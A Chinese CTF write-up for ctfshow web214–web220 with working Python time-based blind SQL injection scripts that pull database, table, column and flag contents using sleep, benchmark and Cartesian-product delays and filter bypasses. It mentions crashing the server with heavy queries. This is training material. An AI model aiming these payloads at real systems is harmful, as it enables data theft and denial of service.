ctfshow-SQL注入(web214-web220)

news2024/10/6 12:26:03

时间盲注 (最贴合实际的注入)


web214

什么都不存在 使用bp进行抓包看看有没有注入点

在原始页面刷新 抓包发现修改debug为1是返回结果是一个sql的查询语句 id可能存在注入点 

发现存在时间注入

使用web193脚本进行修改 

python盲注脚本

import requests
url = "http://63bf02d2-adaa-4048-aa71-54325ac0da02.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        # print(payload) 用于检测问题的
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagx,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flaga,info
        payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag 

        print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

代码解释

得出flag


web215

加大一点满肚 使用单引号 以及屏蔽了部分内容 

思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内 

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

正确方式 发生延时

就该web214脚本即可

import requests
url = "http://d13c1b01-08bf-4f64-98a9-3c571f7e6f59.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "' or if(substr(database(),{},1)='{}',sleep(1),2) #".format(i,x)
        # 当前数据库 ctfshow_web
        # payload = "' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前字段名 id,flagaa,info
        payload = "' or if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 获取flag

        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web216

对传入的值进行base64解码

在脚本中加上base64编码即可

没有了单引号

使用python中的 base64编码发现不行(说实话 没明白为什么不能成功)

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        payload = 'if(substr(database(),{},1)="{}",sleep(1),2)'.format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        payload = base64.b64encode(payload.encode())
        payload=payload.decode()
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

那就使用mysql中to_base64从而与from_base64对应 成功

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
        # 当前数据库 ctfshow_web
        payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "to_base64(if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2))".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得到flag

还有一种方法 群主的方法 先用abc的base编码 之后再用or

这也是我不理解的地方 为什么我用pythonbase64编码就不可以成功


web217

哇塞 禁用了sleep 并且使用了括号将id括起来

那就使用benchmark 进行大量运算 来消耗时间

用bp先看看服务器的性能 看看该函数在服务器需要运算多少次 才能达到我们想要的效果

运算十万次差不多0.5s

我滴妈 运算弄多了 直接把服务器干崩了 需要等好久 为什么会崩 让服务器运算1亿次能不崩嘛

最终发现

benchmark(700000,md5(1)) timeout为0.5 是最好的效果

脚本

import requests
import base64
url = "http://35cbdf47-d435-4b65-bf15-a34a0cd4b132.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',benchmark(700000,md5(1)),2))#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxccb,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "if((substr((select flagaabc from ctfshow_flagxccb),{},1)='{}'),benchmark(700000,md5(1)),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web218 

运算函数也被过滤了

还有一种方法 使用查询语句 查询大量数据从而消耗时间

本地先演示一次 users一共六条数据 最终会有36条数据 6*6=36  form后 如果是逗号 会进行排列组合 如果表足够大那么查询的数据也就相当大(原理不用理解 记住这么用能查询大量数据即可)该方式叫笛卡尔积

这个时候就能用上information的数据库了 里面肯定有大量数据特别是column的表

 这个api后面要加上一个/ 这是一位不同服务器有不同的html设置

编写poc 

ip=1) and if(2>1,
(select count(*) from(
(select table_name from information_schema.columns)a,
(select table_name from information_schema.columns)b,
(select table_name from information_schema.columns limit 1,7)c)
),2&debug=1

弄了一个小时 本地无法进行测试 不知道为什么 都好万亿条数据了 结果还是0.3s

延迟3.35s 是我们需要的结果 3.35经过测试 还是用以把服务器搞崩 把7修改为2 1.25s 差不多

用上一题的脚本 替换计算函数

import requests
import base64
url = "http://36718ac4-d06a-45f9-9da1-9e2f77643c26.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        #
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaac,info
        payload = "1) and if((substr((select flagaac from ctfshow_flagxc),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web219

多屏蔽了一个rlike(也是延时的一种方法) 感觉对我们没用 用上一题脚本跑一下

import requests
import base64
url = "http://2c481109-978c-47e9-8a25-24a279c2a151.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=cbfshow_flagxca,ctfshow_info
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "1) and if((substr((select flagaabc from ctfshow_flagxca),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web220

对我们有影响的过滤就是 过滤了substr 那就使用left即可 并且过滤了concat 导致我们group_concat 不 能使用 但是可以是用limit 逐行获取 这个concat大师傅没讲 视频直接就是获取flag的步骤 大家一定注意concat也被过滤了 自己做完这题 感觉我好强 哈哈 虽然比较基础

import requests
import base64
url = "http://0e9bfbbf-7b8c-4909-bb48-60be102d9870.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "1) and if(left(database(),{})='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((left((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据表 answer=ctfshow_flagxcac
        # payload = "1) and if((left((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, flag+x)
        # 当前字段名 answer=flagaabcc
        payload = "1) and if((left((select flagaabcc from ctfshow_flagxcac),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 获取flag
        #print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

获取表明

得出flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1405906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

「JavaScript基础」一文彻底搞懂JS的事件流以及事件模型

目录 事件事件机制一、事件绑定二、事件监听三、事件委托 事件流事件流模型DOM事件处理DOM0DOM2IE 事件处理程序 常见的事件 在JavaScript中,事件流和事件模型是处理用户交互的关键概念。深入理解这些概念将使你能够更好地处理和响应用户的动作。本文将详细介绍Java…

冷链温湿度监控解决方案,实时监测,助力运输安全

为了确保药品、生鲜等在冷链运输过程中的安全监管,需要对冷链、仓库等环节的温湿度信息进行实时自动检测和记录,有效防范储运过程中可能影响产品质量安全的各类风险,确保储存和运输过程的产品质量。 冷链温湿度监控系统解决方案,利用智能温湿…

leetcode—— 腐烂的橘子

腐烂的橘子 在给定的 m x n 网格 grid 中,每个单元格可以有以下三个值之一: 值 0 代表空单元格;值 1 代表新鲜橘子;值 2 代表腐烂的橘子。 每分钟,腐烂的橘子 周围 4 个方向上相邻 的新鲜橘子都会腐烂。 返回 直到…

每日一道算法题 15(2023-12-28)TLV解析Ⅰ

package com.tarena.test.B20; import java.util.ArrayList; import java.util.Scanner; import java.util.StringJoiner; /** * TLV解析Ⅰ * author Administrator * 输入: * 第一行 31 * 第二层 32 01 00 AE 90 02 00 21 02 30 03 00 AB 32 31 31 0…

UI自动化测试框架搭建 —— yaml文件管理定位元素

🔥 交流讨论:欢迎加入我们一起学习! 🔥 资源分享:耗时200小时精选的「软件测试」资料包 🔥 教程推荐:火遍全网的《软件测试》教程 📢欢迎点赞 👍 收藏 ⭐留言 &#x1…

万界星空科技mes系统可以为企业带来什么好处

随着信息技术的不断发展,MES生产制造系统的作用不断凸显。万界星空科技MES生产制造可以为企业带来四个方面的好处:提升生产效率、降低生产成本、优化生产过程、提高生产质量。本文将从这四个方面分别进行详细阐述,旨在通过对MES生产制造系统的…

【优先级队列 之 堆的实现】

文章目录 前言优先级队列 PriorityQueue优先队列的模拟实现 堆堆的储存方式堆的创建建堆的时间复杂度堆的插入与删除 总结 前言 优先级队列 PriorityQueue 概念:对列是先进先出的的数据结构,但有些情况,数据可能带有优先级,一般出…

C++11新特性:快速初始化成员变量

在C98中,类成员变量的就地声明通常需要在构造函数中进行初始化。 class MyClass { public:// C98 中的类成员变量声明int myVariable;// 构造函数中初始化MyClass() {myVariable 0;} };并且,C98对类中就地声明要求非常高,如果不是整型或者枚…

java使用easyexcel读取excel内容

java 代码读取excel内容。 使用阿里巴巴easyexcel读取excel内容。 ##excel内容 ##依赖 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.1.5</version></dependency> ##实体类T…

Adobe Media Encoder 2023下载安装教程,ME 2023安装教程,附安装包和工具,无套路,轻松搞的安装

前言 Adobe Media Encoder是一个视频和音频编码应用程序&#xff0c;可让针对不同应用程序和观众&#xff0c;以各种分发格式对音频和视频文件进行编码。包括专门设计的预设设置&#xff0c;以便导出与特定交付媒体兼容的文件&#xff0c;可以按适合多种设备的格式导出视频&am…

Mybatis集成MySQL使用游标查询处理大批量数据

背景 基于数据的时间范围查询&#xff0c;给符合条件的用户推送积分即将到期的提醒。 初期用户量小使用最普通简单的分页查询扫描数据处理数据没问题。随着用户量的上升表数据已经上千万&#xff0c;每天扫描处理的数量也超百万&#xff0c;limit分页出现了慢sql&#xff0c;…

【EISCOPUS双检索】2024电子、通信与智能科学国际会议(ECIS 2024)征稿通知!

2024年5月24日-27日 中国|长沙 会议重要日期 一轮截稿时间&#xff1a;2024年3月10日 录用通知时间&#xff1a;投稿后7-15天 注册截止时间&#xff1a;2024年5月10日 一、大会背景 随着互联网的不断创新&#xff0c;电子、通信和智能科学已经广泛应用于各个领域。为了为…

HarmonyOS鸿蒙学习基础篇 - 运行第一个程序 Hello World

下载与安装DevEco Studio 古话说得好&#xff0c;“磨刀不误砍柴工”&#xff0c;对于HarmonyOS应用开发&#xff0c;我们首先得确保工具齐全。这就好比要进行HarmonyOS应用开发&#xff0c;我们需要确保已经安装了DevEco Studio&#xff0c;这是HarmonyOS的一站式集成开发环境…

HarmonyOS关于deps、external_deps的使用

在添加一个模块的时候&#xff0c;需要在BUILD.gn中声明它的依赖&#xff0c;为了便于后续处理部件间依赖关系&#xff0c;我们将依赖分为两种——部件内依赖deps和部件间依赖external_deps。 依赖分类 如上图所示&#xff0c;主要分为部件内依赖&#xff08;图左&#xff09;…

一文(10图)了解Cornerstone3D核心概念(万字总结附导图)

Cornerstone3D介绍 Cornerstone3D是一个专门为处理三维医学影像而设计的JavaScript库。 它是Cornerstone项目的一部分&#xff0c;旨在为医学影像社区提供高性能、可扩展且易于使用的开源Web工具&#xff0c;专注于提供交互式的3D医学图像浏览体验&#xff0c;适用于多种医学…

学习Opencv(蝴蝶书/C++)——4.图形和大型数组类型(下)

文章目录 4.5 通过块访问数组(多行多列等范围访问)4.6 矩阵支持的代数运算(运算符重载)4.7 饱和转换4.8 cv::Mat的其他成员函数7. cv::SparsesMat表示N维稀疏数组7.1 基本介绍7.2 引用或者值访问7.2.1 cv::SparsesMat::ptr()7.2.2 cv::SparsesMat::ref()7.2.3 cv::SparsesM…

人民银行成功实现数字人民币与传统支付的互通

西米支付网&#xff08;45ri.com&#xff09;中国人民银行数字货币研究所10月12日在人民银行网站刊发了题为《扎实开展数字人民币研发试点工作》的文章&#xff0c;截至2022年8月31日&#xff0c;已有15个省市的试点地区共计完成了3.6亿笔的交易&#xff0c;交易金额达到了1000…

大小鼠行为刺激-ZL-034B大小鼠跳台仪/多通道跳台记录仪

小鼠跳台实验是一种常用的学习记忆实验方法&#xff0c;它基于条件反射原理&#xff0c;通过观察小鼠在电栅和平台之间跳跃的行为&#xff0c;来研究药物对学习和记忆过程的影响。它适用于各种增智健脑、提高记忆、抗衰老药物和保健品筛选、开发研制。它是初筛药物的理想工具&a…

ubuntu 20.04 aarch64 平台交叉编译 libffi 库

前言 由于打算交叉编译 python&#xff0c;但是依赖 libffi 库&#xff0c;也就是 libffi 库也需要交叉编译 环境&#xff1a; ubuntu 20.04 交叉编译工具链&#xff1a;这里使用 musl libc 的 gcc 交叉编译工具链&#xff0c;aarch64-linux-musleabi-gcc&#xff0c;gcc 版本…

【心得】java反序列化漏洞利用启蒙个人笔记

目录 前置基础概念 java的反序列化利用概念baby题 例题1 例题2 java反序列化启蒙小结&#xff1a; URLDNS链 一句话总结&#xff1a; 简单分析&#xff1a; 利用点&#xff1a; 示例&#xff1a; 前置基础概念 序列化 类实例->字节流 反序列化 字节流->类实…